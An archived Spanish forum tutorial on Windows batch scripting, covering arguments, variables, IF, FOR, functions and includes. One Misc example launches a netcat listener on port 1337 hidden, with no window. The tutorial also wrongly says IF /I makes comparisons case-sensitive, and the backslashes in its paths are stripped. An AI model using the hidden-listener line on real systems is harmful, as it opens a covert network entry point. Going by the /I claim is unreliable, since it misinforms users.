CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada. /v consulta para una clave de registro específica nvalor: nombre en la clave seleccionada para consultar. Si se omite, se consultará en todos los valores de la clave. /ve Consultar el valor predeterminado o el de nombre vacío <sin nombre> /s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s Muestra todas las subclaves y valores en la clave de registro Setup. REG EXPORT clave ROOTKEY\subclave (sólo equipo local) ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave El nombre completo de la clave del registro dentro del valor ROOTKEY seleccionado archivo El nombre del archivo de disco para exportar Espero que le sirva a alguien que quiera comenzar con batch Comentar no cuesta nada Programación BATCH Avanzada. Temario. 1.- Variables y Argumentos. 2.- Imprimir caracteres de comandos. 3.- Algunas otras variables de Entorno. 4.- IF 5.- FOR 6.- Funciones 7.- Includes 8.- Misc 9.- EOF ________________________________________ Variables y Argumentos El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros. Los argumentos que recibe un batch, son recibidos de la siguiente forma: batch argumento1 dos tres hara que: %0 = batch %1 = argumento1 %2 = dos %3 = tres en %0 se guardara, el nombre del archivo. Podemos borrar el contenido de un parametro con el comando shift: Código: @echo off echo %0 %1 %2 %3 shift /1 echo %0 %1 %2 %3 al llamar: Código: Cocuments and SettingsAdministradortempcurso>astring 123 456 789 astring 123 456 789 astring 456 789 shift borro, el primer argumento. Tambien contamos con los siguientes modificadores para los archivos: Código: %~f1 - regresa la ruta y el archivo de %1. %~d1 - regresa la letra de la unidad de %1. %~p1 - regresa solo la ruta del archivo %1. %~n1 - regresa solo el nombre de archivo %1. %~x1 - regresa solo la extension del archivo %1. %~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1. %~a1 - regresa los atributos del archivo. %~t1 - regresa la hora/fecha del archivo %1 %~z1 - regresa el tamaño del archivo %1. por ejemplo: en un directorio donde tenemos: Código: Cocuments and SettingsAdministradortempcurso>dir El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: A057-553B Directorio de Cocuments and SettingsAdministradortempcurso 24/07/2006 12:25a <DIR> . 24/07/2006 12:25a <DIR> .. 24/07/2006 12:25a 6 archivo.txt 1 archivos 6 bytes 2 dirs 401,715,161,088 bytes libres este batch: Código: @echo off echo Ruta al archivo: %~f1 echo Disco: %~d1 echo Solo ruta: %~p1 echo Nombre: %~n1 echo Extension: %~x1 echo Ruta Corta: %~s1 echo Atributos: %~a1 echo Fecha: %~t1 echo Tamaño: %~z1 llamandolo analiza.bat, saca el siguiente resultado: Código: Cocuments and SettingsAdministradortempcurso>analiza archivo.txt Ruta al archivo: Cocuments and SettingsAdministradortempcursoarchivo.txt Disco: C: Solo ruta: Documents and SettingsAdministradortempcurso Nombre: archivo Extension: .txt Ruta Corta: COCUME~1ADMINI~1TEMPCU~1archivo.txt Atributos: --a------ Fecha: 24/07/06 12:25a Tama±o: 6 Tambien podemos usar varias propiedades, por ejemplo, este codigo: Código: @echo off echo %~anxt1 saca este resultado: Código: Cocuments and SettingsAdministradortempcurso>analiza archivo.txt --a------ 24/07/06 12:25a archivo.txt Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi: astring "parametro de varias letras" al obtenerlo, en %1, lo recibimos con comillas, pero si usamos: Código: @echo off echo Con Comillas: %1 echo Sin Comillas: %~1 saca este resultado: Código: Cocuments and SettingsAdministradortempcurso>astring "parametro de varias letras" Con Comillas: "parametro de varias letras" Sin Comillas: parametro de varias letras Y por ejemplo, si queremos obtener todos los argumentos, se usa: %* es decir: Código: @echo off echo Argumentos: %* al ejecutar: astring parametro de varias letras nos regresa: Código: Cocuments and SettingsAdministradortempcurso>astring parametro de varias letras Argumentos: parametro de varias letras Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar: set /P variable= por ejemplo: Código: @echo off echo ¿Como te llamas? set /P miva= echo Tu te llamas %miva% hara algo asi: Código: Cocuments and SettingsAdministradortempcurso>astring ┐Como te llamas? Juan Tu te llamas Juan Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre: Código: @echo off echo Escribe tu Nombre set /P NOM= echo %NOM:~-3% Aqui lo que estamos haciendo en la ultima linea: %NOM:~-3% hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring. por ejemplo, esto: %NOM:~1,3% obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda) Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis: Código: @echo off echo Escribe una frase set /P FRA= echo %FRA:e=XXX% esto reemplazara las letras "e" por "XXX". Para hacer calculos matematicos, se usa el modificado /A, de esta forma: Código: @echo off set /A x=1 echo %x% set /A x=x*9 echo %x% tenemos las siguientes operaciones disponibles: Código: () - agrupar * / % - operadores aritméticos + - - operadores aritméticos << >> - mayús lógica & - AND ^ - XOR | - OR = *= /= %= += -= - asignación &= ^= |= <<= >>= , - separador de expresión Con este podemos usar numeros hexadecimales de la siguiente forma: Código: @echo off set /A x=2 echo %x% set /A x=x*0xff echo %x% al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal. ________________________________________ Imprimir caracteres sin usar comandos Ahora, se preguntaran, en las variabes, siempre usamos los signos % Como imprimes uno? veamos: Código: @echo off set x=pru set pru=HOLA :: Esto imprimira el contenido de x echo %x% ::Esto imprimira la letra x echo x ::Esto imprimira %x% echo %%x%% ::Esto imprimira el valor de x entre %% echo %%%x%%% :: Lo mismo echo %pru% echo %%pru%% echo %%%pru%%% En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces. Para otros caracteres, que ejecutan alguna accion en batch como: & | < > debes colocar este caracter antes:^ por ejemplo: Código: echo <html><h1>Hola</h1></html> >index.html no funcionara, pero: Código: echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html dara: Código: Cocuments and SettingsAdministradortempcurso>type index.html <html><h1>Hola</h1></html> ________________________________________ Algunas otras variables de entorno Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo: Código: @echo off echo Directorio Actual: %CD% echo Fecha: %DATE% echo Hora: %TIME% echo Numero Aleatorio: %RANDOM% dara como resultado: Código: Cocuments and SettingsAdministradortempcurso>astring Directorio Actual: Cocuments and SettingsAdministradortempcurso Fecha: Lun 24/07/2006 Hora: 2:13:49.33 Numero Aleatorio: 24523 Cocuments and SettingsAdministradortempcurso>astring Directorio Actual: Cocuments and SettingsAdministradortempcurso Fecha: Lun 24/07/2006 Hora: 2:13:51.60 Numero Aleatorio: 3681 Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo: Código: @echo off echo %CD% PUSHD echo %CD% POPD echo %CD% PUSHD funciona de la siguiente manera: Guarda el directorio actual., y va a la ruta especificada. POPD regresa al directorio guardado por PUSHD podemos usarlos uno dentro de otro, asi: Código: @echo off echo %CD% PUSHD echo %CD% PUSHD %homepath% echo %CD% POPD echo %CD% POPD echo %CD% ________________________________________ IF If, reconoce varias situaciones: valores de error comparar cadenas existencia de archivos comparaciones matematicas como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones. al hacer IF ERRORLEVEL 1 @echo ok ELSE @echo no estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO. tambien podemos comparar cadenas, por ejemplo: Código: @echo off IF "%~1"=="hola" echo hola usamos %~1 para que aunque el usuario ponga comillas, no salga error Código: @echo off IF /I "%~1"=="hola" echo hola este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion. ahora, podemos usar IF en varias lineas: Código: @echo off IF EXIST %~snx1 ( echo EXISTE! ) ELSE ( echo NO EXISTE ) con parentesis (). si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación: Código: EQU - igual NEQ - no igual LSS - menor que LEQ - menor que o igual GTR - mayor que GEQ - mayor que o igual por ejemplo: Código: @echo off echo Cual es tu edad? SET /P m= IF %m% GEQ 18 ( echo ERES MAYOR DE EDAD ) ELSE ( echo NO ERES MAYOR DE EDAD ) que regresa: Código: Cocuments and SettingsAdministradortempcurso>acon Cual es tu edad? 19 ERES MAYOR DE EDAD Cocuments and SettingsAdministradortempcurso>acon Cual es tu edad? 17 NO ERES MAYOR DE EDAD Tambien podemos saber si una variable ya fue definida: Código: IF DEFINED var ( echo SI ) ELSE ( echo NO ) ________________________________________ FOR FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos. Tambien permite hacer bucles de la siguiente manera: Código: FOR /L %%var IN (inicio,incremento,fin) DO (acciones) inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo: Código: FOR /L %%i IN (0,1,10) DO (echo %%i) imprimira 0 1 2 3 4 5 6 7 8 9 10 sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo: Código: FOR %%x in (x*) DO echo %%x mostrará todos los archivos que empiezan con x. para SOLO mostrar directorios: Código: FOR /D %%x in (m*) DO echo %%x el modificador "/D", mostrará solo los directorios, que empiesen con m. El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente: Código: ├───adios │ └───algo │ └───xx └───hola al ejecutar el comando: Código: FOR /R /D %%x in (a*) DO echo %%x C:adios C:adiosalgo sinembargo, al ejecutar el comando.. Código: FOR /R %%x in (*x*) DO echo %%x C:ax.txt C:adiossx.txt C:adioswwx.txt C:adiosalgokkx.txt C:adiosalgoxxxx.txt C:holaax.txt C:holarx.txt nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR. Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente: Código: FOR /F ["opciones"] %var IN (conjunto) DO (acciones) conjunto puede ser: conjunto de archivos -> sin comillas cadena de caracteres -> con comillas dobles (" " comando -> con comilla simple (' ') las opciones son las siguientes: eol -> todo lo que este despues de este caracter sera ignorado (para cada linea) skip -> numero de lineas a saltarse al principio del archivo/comando. delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab" tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo: 1,2,3 solo pasara los primeros 3 segmentos. 1,2* pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea) 1,2-6,8,9* regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos. por ultimo, esta la opcion: usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera: 'cadena' `comando` Nota: [`] es diferente al caracter de acento [´] por ejemplo, el siguiente comando: Código: FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas." DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q dara de resultado: Código: George es malvado, es tonto, siempre piensa en matar a los demas. ________________________________________ Funciones El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo. Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros. miren, el siguiente programa: Código: @echo off call:funcion 1 2 3 call:funcion %* goto:EOF :funcion echo Estoy en: %~nx0-^>%0 %* al ser llamado, por ejemplo en: Código: C:>ejemplo Estoy en: ejemplo.bat->:funcion 1 2 3 Estoy en: ejemplo.bat->:funcion el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa. en este otro ejemplo: Código: C:>ejemplo HOLA MUNDO Estoy en: ejemplo.bat->:funcion 1 2 3 Estoy en: ejemplo.bat->:funcion HOLA MUNDO la funcion obtiene tambien los argumentos del programa. hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando: goto:EOF entonces, en situaciones como: Código: @echo off&call:main&goto:EOF :suma set /A res=%1 + %2 echo %res% goto:EOF :resta set /A res=%1 - %2 echo %res% goto:EOF :multiplica set /A res=%1 * %2 echo %res% goto:EOF :main set /P arg=Escribe 2 numeros separados por un espacio echo %arg% echo su suma es: call:suma %arg% echo su resta es: call:resta %arg% echo su producto es: call:multiplica %arg% goto:EOF como podemos ver goto:EOF se usa para regresar al orden de comandos. el resultado es algo asi: Código: C:>operaciones Escribe 2 numeros separados por un espacio 6 2 6 2 su suma es: 8 su resta es: 4 su producto es: 12 ________________________________________ Includes Para hacer un "include" oincluir un archivo, solo debes llamarlo asi: archivo_a_incluir.bat funcion argumentos y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF queda algo asi: Código: @echo off&call:%*&goto:EOF :funcion1 ... :funcion2 ... por ejemplo: --inclu.bat-- Código: @echo off&call:%*&goto:EOF :cabeza echo ############### echo # Hecho por: # echo # sirdarckcat # echo ############### goto:EOF :uso echo uso: echo %~nx0 Nombre goto:EOF :nombre echo Hola %* goto:EOF --inicio.bat-- Código: @echo off if "%~1"=="" ( inclu.bat cabeza inclu.bat uso ) else ( inclu.bat nombre %~1 ) esto daria este resultado: Código: C:>inicio ############### # Hecho por: # # sirdarckcat # ############### uso: inclu.bat Nombre C:>inicio sirdarckcat Hola sirdarckcat C:> ________________________________________ Misc Algunos filtros y comandos interesantes: • comando | more muestra el resultado del comando de forma paginada • comando | sort muestra el resultado del comando de forma ordenada • TITLE "algo" cambia el titulo de la ventana de CMD • SUBST ruta/a/alguna/carpeta [letra_unidad] asgina a letra_unidad la ruta de acceso • FIND "cadena" busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?) • FINDSTR extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada: Código: Busca cadenas en los archivos. FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P] [/F:archivo] [/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color] [[unidad[ruta]nombredearchivo[ ...]] /B Hace coincidir los modelos si están al principio de la línea. /E Hace coincidir los modelos si están al final de la línea. /L Literalmente utiliza cadenas de búsqueda. /R Utiliza cadenas sde búsqueda como expresiones regulares. /S Busca archivos que coinciden en el directorio actual y en todos los subdirectorios. /I Especifica que la búsqueda no distingue mayúsculas de minúsculas. /X Imprime líneas que coinciden con exactitud. /V Sólo imprime líneas que no contienen una correspondencia. /N Imprime el número de la línea antes de la línea que coincide. /M Sólo imprime el nombre de archivo si el archivo contiene una correspondencia. /O Imprime un carácter de desplazamiento antes de las líneas que coinciden. /P Omite archivos con caracteres que no son imprimibles /A:attr Especifica atributos de color con dos dígitos hexadecimales. Ver "color /?" /F:archivo Lee la lista de archivos desde el archivo especificado (/ significa consola). /C:cadena Utiliza una cadena especificada como una búsqueda de cadena literal. /G:archivo Coje la búsqueda de archivos desde el archivo especificado (/ significa consola). /D:dir Busca un signo de punto y coma de la lista delimitada de directorios cadenas Texto que se debe buscar. [unidad[ruta]nombredearchivo Especifica un archivo o archivos que buscar. Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qué tal" x.y' busca "qué" o "tal" en el archivo x.y. 'FINDSTR /C:"qué tal" x.y' busca "qué tal" en el archivo x.y. Expresión regular de referencia rápida: . Comodín: cualquier carácter * Repetir: cero o más ocurrencias de un carácter previo o de clase ^ Posición de línea: comienzo de la línea $ Posición de línea: fin de línea Clase de carácter: cualquier carácter en la serie [^class] Clase inversa: cualquier carácter que no esté en la serie [x-y] Intervalo: cualquier carácter que esté dentro del intervalo especificado x Escape: uso literal de un metacarácter x <xyz Posición de palabra: principio de palabra xyz> Posición de palabra: fin de palabra Para obtener una información más completa sobre expresiones regulares de FINDSTR referirse al Comando de referencia Command en línea. • start "titulo ventana nueva" comando argumentos START tiene mas opciones de las que son usadas comunmente. "titulo ventana nueva" especifica el titulo de la ventana que se generará. las opciones entre otros contienen: /Druta - el programa inicia en el directorio.. /B - la aplicación se inicia sin ventana /I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa /MIN - La nueva ventana se inicia minimisada /MAX - La nueva ventana se inicia maximisada /SEPARATE - El programa se inicia en una zona de memoria separada /SHARED - El programa se inicia en una zona de memoria compartida Iniciar en prioridades: /LOW - baja /NORMAL - normal /HIGH - alta /REALTIME - tiempo real /ABOVENORMAL - sobre lo normal /BELOWNORMAL - debajo de lo normal /WAIT - Inicia el programa, y espera hasta que termine de ejecutarse por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi: start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir% EOF EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento , espero les sirva Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt Espero que Mi Post les Alla Gustado Muchas Gracias,, Ya mi segundo post!

22
13
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.